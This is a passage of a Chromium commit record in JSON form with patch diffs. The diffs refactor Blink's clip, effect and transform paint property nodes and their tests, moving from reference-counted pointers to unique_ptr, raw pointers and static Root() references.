CreateClip(*c5, t1.get(), clip_rect);\n \n TestChunks chunks;\n- chunks.AddChunk(t1.get(), c6.get(), e0());\n- chunks.AddChunk(t1.get(), c3.get(), e0());\n+ chunks.AddChunk(*t1, *c6, e0());\n+ chunks.AddChunk(*t1, *c3, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -758,20 +748,20 @@ TEST_F(PaintChunksToCcLayerTest, CombineClipsWithRoundedRects) {\n FloatRoundedRect small_rounded_clip_rect(FloatRect(0, 0, 100, 100), corner,\n corner, corner, corner);\n \n- auto c1 = CreateClip(c0(), t0(), clip_rect);\n- auto c2 = CreateClip(c1, t0(), small_rounded_clip_rect);\n- auto c3 = CreateClip(c2, t0(), clip_rect);\n- auto c4 = CreateClip(c3, t0(), big_rounded_clip_rect);\n- auto c5 = CreateClip(c4, t0(), clip_rect);\n- auto c6 = CreateClip(c5, t0(), big_rounded_clip_rect);\n- auto c7 = CreateClip(c6, t0(), small_rounded_clip_rect);\n+ auto c1 = CreateClip(c0(), &t0(), clip_rect);\n+ auto c2 = CreateClip(*c1, &t0(), small_rounded_clip_rect);\n+ auto c3 = CreateClip(*c2, &t0(), clip_rect);\n+ auto c4 = CreateClip(*c3, &t0(), big_rounded_clip_rect);\n+ auto c5 = CreateClip(*c4, &t0(), clip_rect);\n+ auto c6 = CreateClip(*c5, &t0(), big_rounded_clip_rect);\n+ auto c7 = CreateClip(*c6, &t0(), small_rounded_clip_rect);\n \n TestChunks chunks;\n- chunks.AddChunk(t0(), c7.get(), e0());\n+ chunks.AddChunk(t0(), *c7, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -799,21 +789,21 @@ TEST_F(PaintChunksToCcLayerTest, CombineClipsWithRoundedRects) {\n \n TEST_F(PaintChunksToCcLayerTest, ChunksSamePropertyTreeState) {\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2.f));\n- auto t2 = CreateTransform(t1, TransformationMatrix().Scale(3.f));\n- auto c1 = CreateClip(c0(), t1, FloatRoundedRect(0, 0, 100, 100));\n+ auto t2 = CreateTransform(*t1, TransformationMatrix().Scale(3.f));\n+ auto c1 = CreateClip(c0(), t1.get(), FloatRoundedRect(0, 0, 100, 100));\n \n TestChunks chunks;\n chunks.AddChunk(t0(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e0());\n- chunks.AddChunk(t1.get(), c1.get(), e0());\n- chunks.AddChunk(t1.get(), c1.get(), e0());\n- chunks.AddChunk(t2.get(), c1.get(), e0());\n- chunks.AddChunk(t2.get(), c1.get(), e0());\n+ chunks.AddChunk(*t1, c0(), e0());\n+ chunks.AddChunk(*t1, c0(), e0());\n+ chunks.AddChunk(*t1, *c1, e0());\n+ chunks.AddChunk(*t1, *c1, e0());\n+ chunks.AddChunk(*t2, *c1, e0());\n+ chunks.AddChunk(*t2, *c1, e0());\n \n sk_sp<PaintRecord> output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -836,23 +826,23 @@ TEST_F(PaintChunksToCcLayerTest, ChunksSamePropertyTreeState) {\n \n TEST_F(PaintChunksToCcLayerTest, NoOpForIdentityTransforms) {\n auto t1 = CreateTransform(t0(), TransformationMatrix());\n- auto t2 = CreateTransform(t1, TransformationMatrix());\n- auto t3 = CreateTransform(t2, TransformationMatrix());\n- auto c1 = CreateClip(c0(), t2, FloatRoundedRect(0, 0, 100, 100));\n- auto c2 = CreateClip(c1, t3, FloatRoundedRect(0, 0, 200, 50));\n+ auto t2 = CreateTransform(*t1, TransformationMatrix());\n+ auto t3 = CreateTransform(*t2, TransformationMatrix());\n+ auto c1 = CreateClip(c0(), t2.get(), FloatRoundedRect(0, 0, 100, 100));\n+ auto c2 = CreateClip(*c1, t3.get(), FloatRoundedRect(0, 0, 200, 50));\n \n TestChunks chunks;\n chunks.AddChunk(t0(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e0());\n+ chunks.AddChunk(*t1, c0(), e0());\n chunks.AddChunk(t0(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e0());\n- chunks.AddChunk(t2.get(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e0());\n- chunks.AddChunk(t1.get(), c2.get(), e0());\n+ chunks.AddChunk(*t1, c0(), e0());\n+ chunks.AddChunk(*t2, c0(), e0());\n+ chunks.AddChunk(*t1, c0(), e0());\n+ chunks.AddChunk(*t1, *c2, e0());\n \n auto output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -871,17 +861,17 @@ TEST_F(PaintChunksToCcLayerTest, NoOpForIdentityTransforms) {\n \n TEST_F(PaintChunksToCcLayerTest, EffectsWithSameTransform) {\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2));\n- auto e1 = CreateOpacityEffect(e0(), t1, c0(), 0.1f);\n- auto e2 = CreateOpacityEffect(e0(), t1, c0(), 0.2f);\n+ auto e1 = CreateOpacityEffect(e0(), t1.get(), &c0(), 0.1f);\n+ auto e2 = CreateOpacityEffect(e0(), t1.get(), &c0(), 0.2f);\n \n TestChunks chunks;\n chunks.AddChunk(t0(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e1.get());\n- chunks.AddChunk(t1.get(), c0(), e2.get());\n+ chunks.AddChunk(*t1, c0(), *e1);\n+ chunks.AddChunk(*t1, c0(), *e2);\n \n auto output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n \n@@ -900,17 +890,17 @@ TEST_F(PaintChunksToCcLayerTest, EffectsWithSameTransform) {\n \n TEST_F(PaintChunksToCcLayerTest, NestedEffectsWithSameTransform) {\n auto t1 = CreateTransform(t0(), TransformationMatrix().Scale(2));\n- auto e1 = CreateOpacityEffect(e0(), t1, c0(), 0.1f);\n- auto e2 = CreateOpacityEffect(e1, t1, c0(), 0.2f);\n+ auto e1 = CreateOpacityEffect(e0(), t1.get(), &c0(), 0.1f);\n+ auto e2 = CreateOpacityEffect(*e1, t1.get(), &c0(), 0.2f);\n \n TestChunks chunks;\n chunks.AddChunk(t0(), c0(), e0());\n- chunks.AddChunk(t1.get(), c0(), e1.get());\n- chunks.AddChunk(t1.get(), c0(), e2.get());\n+ chunks.AddChunk(*t1, c0(), *e1);\n+ chunks.AddChunk(*t1, c0(), *e2);\n \n auto output =\n PaintChunksToCcLayer::Convert(\n- chunks.chunks, PropertyTreeState(t0(), c0(), e0()), gfx::Vector2dF(),\n+ chunks.chunks, PropertyTreeState::Root(), gfx::Vector2dF(),\n chunks.items, cc::DisplayItemList::kToBeReleasedAsPaintOpBuffer)\n ->ReleaseAsRecord();\n "}<_**next**_>{"sha": "b414400b98c69ccdbdcc4af14263f5f3781b1870", "filename": "third_party/blink/renderer/platform/graphics/compositing/property_tree_manager.cc", "status": "modified", "additions": 5, "deletions": 6, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/property_tree_manager.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/property_tree_manager.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/property_tree_manager.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -91,7 +91,7 @@ void PropertyTreeManager::SetupRootTransformNode() {\n transform_tree.SetFromScreen(kRealRootNodeId, from_screen);\n transform_tree.set_needs_update(true);\n \n- transform_node_map_.Set(TransformPaintPropertyNode::Root(),\n+ transform_node_map_.Set(&TransformPaintPropertyNode::Root(),\n transform_node.id);\n root_layer_->SetTransformTreeIndex(transform_node.id);\n }\n@@ -109,7 +109,7 @@ void PropertyTreeManager::SetupRootClipNode() {\n gfx::SizeF(root_layer_->layer_tree_host()->device_viewport_size()));\n clip_node.transform_id = kRealRootNodeId;\n \n- clip_node_map_.Set(ClipPaintPropertyNode::Root(), clip_node.id);\n+ clip_node_map_.Set(&ClipPaintPropertyNode::Root(), clip_node.id);\n root_layer_->SetClipTreeIndex(clip_node.id);\n }\n \n@@ -133,7 +133,7 @@ void PropertyTreeManager::SetupRootEffectNode() {\n \n current_effect_id_ = effect_node.id;\n current_effect_type_ = CcEffectType::kEffect;\n- current_effect_ = EffectPaintPropertyNode::Root();\n+ current_effect_ = &EffectPaintPropertyNode::Root();\n current_clip_ = current_effect_->OutputClip();\n }\n \n@@ -146,7 +146,7 @@ void PropertyTreeManager::SetupRootScrollNode() {\n DCHECK_EQ(scroll_node.id, kSecondaryRootNodeId);\n scroll_node.transform_id = kSecondaryRootNodeId;\n \n- scroll_node_map_.Set(ScrollPaintPropertyNode::Root(), scroll_node.id);\n+ scroll_node_map_.Set(&ScrollPaintPropertyNode::Root(), scroll_node.id);\n root_layer_->SetScrollTreeIndex(scroll_node.id);\n }\n \n@@ -314,8 +314,7 @@ void PropertyTreeManager::EmitClipMaskLayer() {\n mask_effect.has_render_surface = true;\n mask_effect.blend_mode = SkBlendMode::kDstIn;\n \n- const TransformPaintPropertyNode* clip_space =\n- current_clip_->LocalTransformSpace();\n+ const auto* clip_space = current_clip_->LocalTransformSpace();\n root_layer_->AddChild(mask_layer);\n mask_layer->set_property_tree_sequence_number(sequence_number_);\n mask_layer->SetTransformTreeIndex(EnsureCompositorTransformNode(clip_space));"}<_**next**_>{"sha": "e7ffa52795ca1cb7d33ec55d323dbdc3383b8fb6", "filename": "third_party/blink/renderer/platform/graphics/graphics_layer_test.cc", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/graphics_layer_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/graphics_layer_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/graphics_layer_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -223,11 +223,11 @@ TEST_P(GraphicsLayerTest, Paint) {\n \n TEST_P(GraphicsLayerTest, PaintRecursively) {\n IntRect interest_rect(1, 2, 3, 4);\n- auto* transform_root = TransformPaintPropertyNode::Root();\n+ const auto& transform_root = TransformPaintPropertyNode::Root();\n auto transform1 =\n CreateTransform(transform_root, TransformationMatrix().Translate(10, 20));\n auto transform2 =\n- CreateTransform(transform1, TransformationMatrix().Scale(2));\n+ CreateTransform(*transform1, TransformationMatrix().Scale(2));\n \n client_.SetPainter([&](const GraphicsLayer* layer, GraphicsContext& context,\n GraphicsLayerPaintingPhase, const IntRect&) {\n@@ -250,13 +250,13 @@ TEST_P(GraphicsLayerTest, PaintRecursively) {\n transform1->Update(transform_root,\n TransformPaintPropertyNode::State{\n TransformationMatrix().Translate(20, 30)});\n- EXPECT_TRUE(transform1->Changed(*transform_root));\n- EXPECT_TRUE(transform2->Changed(*transform_root));\n+ EXPECT_TRUE(transform1->Changed(transform_root));\n+ EXPECT_TRUE(transform2->Changed(transform_root));\n client_.SetNeedsRepaint(true);\n graphics_layer_->PaintRecursively();\n \n- EXPECT_FALSE(transform1->Changed(*transform_root));\n- EXPECT_FALSE(transform2->Changed(*transform_root));\n+ EXPECT_FALSE(transform1->Changed(transform_root));\n+ EXPECT_FALSE(transform2->Changed(transform_root));\n }\n \n TEST_P(GraphicsLayerTest, SetDrawsContentFalse) {"}<_**next**_>{"sha": "adf29b91f9205ec7e923b7b8442c7796304fe610", "filename": "third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.cc", "status": "modified", "additions": 5, "deletions": 6, "changes": 11, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -8,12 +8,11 @@\n \n namespace blink {\n \n-ClipPaintPropertyNode* ClipPaintPropertyNode::Root() {\n- DEFINE_STATIC_REF(\n+const ClipPaintPropertyNode& ClipPaintPropertyNode::Root() {\n+ DEFINE_STATIC_LOCAL(\n ClipPaintPropertyNode, root,\n- (ClipPaintPropertyNode::Create(\n- nullptr, State{TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(LayoutRect::InfiniteIntRect())})));\n+ (nullptr, State{&TransformPaintPropertyNode::Root(),\n+ FloatRoundedRect(LayoutRect::InfiniteIntRect())}));\n return root;\n }\n \n@@ -22,7 +21,7 @@ std::unique_ptr<JSONObject> ClipPaintPropertyNode::ToJSON() const {\n if (Parent())\n json->SetString(\"parent\", String::Format(\"%p\", Parent()));\n json->SetString(\"localTransformSpace\",\n- String::Format(\"%p\", state_.local_transform_space.get()));\n+ String::Format(\"%p\", state_.local_transform_space));\n json->SetString(\"rect\", state_.clip_rect.ToString());\n if (state_.clip_rect_excluding_overlay_scrollbars) {\n json->SetString(\"rectExcludingOverlayScrollbars\","}<_**next**_>{"sha": "8cc614ea2ba078fcf1badd9fbcfa5f98891bd30f", "filename": "third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.h", "status": "modified", "additions": 16, "deletions": 18, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/clip_paint_property_node.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -5,6 +5,7 @@\n #ifndef THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_CLIP_PAINT_PROPERTY_NODE_H_\n #define THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_CLIP_PAINT_PROPERTY_NODE_H_\n \n+#include \"base/memory/scoped_refptr.h\"\n #include \"base/optional.h\"\n #include \"third_party/blink/renderer/platform/geometry/float_rounded_rect.h\"\n #include \"third_party/blink/renderer/platform/graphics/paint/geometry_mapper_clip_cache.h\"\n@@ -29,7 +30,7 @@ class PLATFORM_EXPORT ClipPaintPropertyNode\n // To make it less verbose and more readable to construct and update a node,\n // a struct with default values is used to represent the state.\n struct State {\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space;\n+ const TransformPaintPropertyNode* local_transform_space = nullptr;\n FloatRoundedRect clip_rect;\n base::Optional<FloatRoundedRect> clip_rect_excluding_overlay_scrollbars;\n scoped_refptr<const RefCountedPath> clip_path;\n@@ -53,18 +54,17 @@ class PLATFORM_EXPORT ClipPaintPropertyNode\n };\n \n // This node is really a sentinel, and does not represent a real clip space.\n- static ClipPaintPropertyNode* Root();\n+ static const ClipPaintPropertyNode& Root();\n \n- static scoped_refptr<ClipPaintPropertyNode> Create(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n+ static std::unique_ptr<ClipPaintPropertyNode> Create(\n+ const ClipPaintPropertyNode& parent,\n State&& state) {\n- return base::AdoptRef(\n- new ClipPaintPropertyNode(std::move(parent), std::move(state)));\n+ return base::WrapUnique(\n+ new ClipPaintPropertyNode(&parent, std::move(state)));\n }\n \n- bool Update(scoped_refptr<const ClipPaintPropertyNode> parent,\n- State&& state) {\n- bool parent_changed = SetParent(parent);\n+ bool Update(const ClipPaintPropertyNode& parent, State&& state) {\n+ bool parent_changed = SetParent(&parent);\n if (state == state_)\n return parent_changed;\n \n@@ -73,14 +73,13 @@ class PLATFORM_EXPORT ClipPaintPropertyNode\n return true;\n }\n \n- bool EqualIgnoringHitTestRects(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- const State& state) const {\n+ bool EqualIgnoringHitTestRects(const ClipPaintPropertyNode* parent,\n+ const State& state) const {\n return parent == Parent() && state_.EqualIgnoringHitTestRects(state);\n }\n \n const TransformPaintPropertyNode* LocalTransformSpace() const {\n- return state_.local_transform_space.get();\n+ return state_.local_transform_space;\n }\n const FloatRoundedRect& ClipRect() const { return state_.clip_rect; }\n const FloatRoundedRect& ClipRectExcludingOverlayScrollbars() const {\n@@ -98,8 +97,8 @@ class PLATFORM_EXPORT ClipPaintPropertyNode\n #if DCHECK_IS_ON()\n // The clone function is used by FindPropertiesNeedingUpdate.h for recording\n // a clip node before it has been updated, to later detect changes.\n- scoped_refptr<ClipPaintPropertyNode> Clone() const {\n- return base::AdoptRef(new ClipPaintPropertyNode(Parent(), State(state_)));\n+ std::unique_ptr<ClipPaintPropertyNode> Clone() const {\n+ return base::WrapUnique(new ClipPaintPropertyNode(Parent(), State(state_)));\n }\n \n // The equality operator is used by FindPropertiesNeedingUpdate.h for checking\n@@ -115,9 +114,8 @@ class PLATFORM_EXPORT ClipPaintPropertyNode\n size_t CacheMemoryUsageInBytes() const;\n \n private:\n- ClipPaintPropertyNode(scoped_refptr<const ClipPaintPropertyNode> parent,\n- State&& state)\n- : PaintPropertyNode(std::move(parent)), state_(std::move(state)) {}\n+ ClipPaintPropertyNode(const ClipPaintPropertyNode* parent, State&& state)\n+ : PaintPropertyNode(parent), state_(std::move(state)) {}\n \n // For access to GetClipCache();\n friend class GeometryMapper;"}<_**next**_>{"sha": "0750252d6378e1e568860375f49f220eb9945e0a", "filename": "third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.cc", "status": "modified", "additions": 6, "deletions": 7, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -6,11 +6,10 @@\n \n namespace blink {\n \n-EffectPaintPropertyNode* EffectPaintPropertyNode::Root() {\n- DEFINE_STATIC_REF(EffectPaintPropertyNode, root,\n- (EffectPaintPropertyNode::Create(\n- nullptr, State{TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root()})));\n+const EffectPaintPropertyNode& EffectPaintPropertyNode::Root() {\n+ DEFINE_STATIC_LOCAL(EffectPaintPropertyNode, root,\n+ (nullptr, State{&TransformPaintPropertyNode::Root(),\n+ &ClipPaintPropertyNode::Root()}));\n return root;\n }\n \n@@ -27,8 +26,8 @@ std::unique_ptr<JSONObject> EffectPaintPropertyNode::ToJSON() const {\n if (Parent())\n json->SetString(\"parent\", String::Format(\"%p\", Parent()));\n json->SetString(\"localTransformSpace\",\n- String::Format(\"%p\", state_.local_transform_space.get()));\n- json->SetString(\"outputClip\", String::Format(\"%p\", state_.output_clip.get()));\n+ String::Format(\"%p\", state_.local_transform_space));\n+ json->SetString(\"outputClip\", String::Format(\"%p\", state_.output_clip));\n if (state_.color_filter != kColorFilterNone)\n json->SetInteger(\"colorFilter\", state_.color_filter);\n if (!state_.filter.IsEmpty())"}<_**next**_>{"sha": "753e86297cb6a63c612e98ee3a41303ff793636a", "filename": "third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.h", "status": "modified", "additions": 16, "deletions": 19, "changes": 35, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/effect_paint_property_node.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -32,10 +32,10 @@ class PLATFORM_EXPORT EffectPaintPropertyNode\n // and effects under the same parent.\n // 2. Some effects are spatial (namely blur filter and reflection), the\n // effect parameters will be specified in the local space.\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space;\n+ const TransformPaintPropertyNode* local_transform_space = nullptr;\n // The output of the effect can be optionally clipped when composited onto\n // the current backdrop.\n- scoped_refptr<const ClipPaintPropertyNode> output_clip;\n+ const ClipPaintPropertyNode* output_clip = nullptr;\n // Optionally a number of effects can be applied to the composited output.\n // The chain of effects will be applied in the following order:\n // === Begin of effects ===\n@@ -63,18 +63,17 @@ class PLATFORM_EXPORT EffectPaintPropertyNode\n };\n \n // This node is really a sentinel, and does not represent a real effect.\n- static EffectPaintPropertyNode* Root();\n+ static const EffectPaintPropertyNode& Root();\n \n- static scoped_refptr<EffectPaintPropertyNode> Create(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n+ static std::unique_ptr<EffectPaintPropertyNode> Create(\n+ const EffectPaintPropertyNode& parent,\n State&& state) {\n- return base::AdoptRef(\n- new EffectPaintPropertyNode(std::move(parent), std::move(state)));\n+ return base::WrapUnique(\n+ new EffectPaintPropertyNode(&parent, std::move(state)));\n }\n \n- bool Update(scoped_refptr<const EffectPaintPropertyNode> parent,\n- State&& state) {\n- bool parent_changed = SetParent(parent);\n+ bool Update(const EffectPaintPropertyNode& parent, State&& state) {\n+ bool parent_changed = SetParent(&parent);\n if (state == state_)\n return parent_changed;\n \n@@ -84,11 +83,9 @@ class PLATFORM_EXPORT EffectPaintPropertyNode\n }\n \n const TransformPaintPropertyNode* LocalTransformSpace() const {\n- return state_.local_transform_space.get();\n- }\n- const ClipPaintPropertyNode* OutputClip() const {\n- return state_.output_clip.get();\n+ return state_.local_transform_space;\n }\n+ const ClipPaintPropertyNode* OutputClip() const { return state_.output_clip; }\n \n SkBlendMode BlendMode() const { return state_.blend_mode; }\n float Opacity() const { return state_.opacity; }\n@@ -121,8 +118,9 @@ class PLATFORM_EXPORT EffectPaintPropertyNode\n #if DCHECK_IS_ON()\n // The clone function is used by FindPropertiesNeedingUpdate.h for recording\n // an effect node before it has been updated, to later detect changes.\n- scoped_refptr<EffectPaintPropertyNode> Clone() const {\n- return base::AdoptRef(new EffectPaintPropertyNode(Parent(), State(state_)));\n+ std::unique_ptr<EffectPaintPropertyNode> Clone() const {\n+ return base::WrapUnique(\n+ new EffectPaintPropertyNode(Parent(), State(state_)));\n }\n \n // The equality operator is used by FindPropertiesNeedingUpdate.h for checking\n@@ -138,9 +136,8 @@ class PLATFORM_EXPORT EffectPaintPropertyNode\n size_t TreeMemoryUsageInBytes() const;\n \n private:\n- EffectPaintPropertyNode(scoped_refptr<const EffectPaintPropertyNode> parent,\n- State&& state)\n- : PaintPropertyNode(std::move(parent)), state_(std::move(state)) {}\n+ EffectPaintPropertyNode(const EffectPaintPropertyNode* parent, State&& state)\n+ : PaintPropertyNode(parent), state_(std::move(state)) {}\n \n State state_;\n };"}<_**next**_>{"sha": "dd38b4187f9be19f6786567ade573c1f6fe037da", "filename": "third_party/blink/renderer/platform/graphics/paint/geometry_mapper.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/geometry_mapper.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/geometry_mapper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/geometry_mapper.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -101,7 +101,7 @@ GeometryMapper::SourceToDestinationProjectionInternal(\n \n // Case 3: Compute:\n // flatten(destination_to_screen)^-1 * flatten(source_to_screen)\n- const auto* root = TransformPaintPropertyNode::Root();\n+ const auto* root = &TransformPaintPropertyNode::Root();\n success = true;\n if (source == root)\n return destination_cache.projection_from_screen();"}<_**next**_>{"sha": "98c574fa6c52e3a9b843d8142e04410fc667c511", "filename": "third_party/blink/renderer/platform/graphics/paint/geometry_mapper_test.cc", "status": "modified", "additions": 74, "deletions": 149, "changes": 223, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/geometry_mapper_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/geometry_mapper_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/geometry_mapper_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -157,8 +157,7 @@ TEST_P(GeometryMapperTest, Root) {\n }\n \n TEST_P(GeometryMapperTest, IdentityTransform) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix());\n+ auto transform = CreateTransform(t0(), TransformationMatrix());\n local_state.SetTransform(transform.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -169,8 +168,7 @@ TEST_P(GeometryMapperTest, IdentityTransform) {\n \n TEST_P(GeometryMapperTest, TranslationTransform) {\n expected_transform = TransformationMatrix().Translate(20, 10);\n- auto transform =\n- CreateTransform(TransformPaintPropertyNode::Root(), expected_transform);\n+ auto transform = CreateTransform(t0(), expected_transform);\n local_state.SetTransform(transform.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -179,15 +177,13 @@ TEST_P(GeometryMapperTest, TranslationTransform) {\n CHECK_MAPPINGS();\n \n FloatRect rect = expected_transformed_rect;\n- GeometryMapper::SourceToDestinationRect(TransformPaintPropertyNode::Root(),\n- local_state.Transform(), rect);\n+ GeometryMapper::SourceToDestinationRect(&t0(), local_state.Transform(), rect);\n EXPECT_FLOAT_RECT_NEAR(input_rect, rect);\n }\n \n TEST_P(GeometryMapperTest, RotationAndScaleTransform) {\n expected_transform = TransformationMatrix().Rotate(45).Scale(2);\n- auto transform =\n- CreateTransform(TransformPaintPropertyNode::Root(), expected_transform);\n+ auto transform = CreateTransform(t0(), expected_transform);\n local_state.SetTransform(transform.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -199,8 +195,8 @@ TEST_P(GeometryMapperTest, RotationAndScaleTransform) {\n \n TEST_P(GeometryMapperTest, RotationAndScaleTransformWithTransformOrigin) {\n expected_transform = TransformationMatrix().Rotate(45).Scale(2);\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- expected_transform, FloatPoint3D(50, 50, 0));\n+ auto transform =\n+ CreateTransform(t0(), expected_transform, FloatPoint3D(50, 50, 0));\n local_state.SetTransform(transform.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -213,11 +209,10 @@ TEST_P(GeometryMapperTest, RotationAndScaleTransformWithTransformOrigin) {\n \n TEST_P(GeometryMapperTest, NestedTransforms) {\n auto rotate_transform = TransformationMatrix().Rotate(45);\n- auto transform1 =\n- CreateTransform(TransformPaintPropertyNode::Root(), rotate_transform);\n+ auto transform1 = CreateTransform(t0(), rotate_transform);\n \n auto scale_transform = TransformationMatrix().Scale(2);\n- auto transform2 = CreateTransform(transform1, scale_transform);\n+ auto transform2 = CreateTransform(*transform1, scale_transform);\n local_state.SetTransform(transform2.get());\n \n input_rect = FloatRect(0, 0, 100, 100);\n@@ -231,14 +226,14 @@ TEST_P(GeometryMapperTest, NestedTransforms) {\n TEST_P(GeometryMapperTest, NestedTransformsFlattening) {\n TransformPaintPropertyNode::State rotate_transform;\n rotate_transform.matrix.Rotate3d(45, 0, 0);\n- auto transform1 = TransformPaintPropertyNode::Create(\n- TransformPaintPropertyNode::Root(), std::move(rotate_transform));\n+ 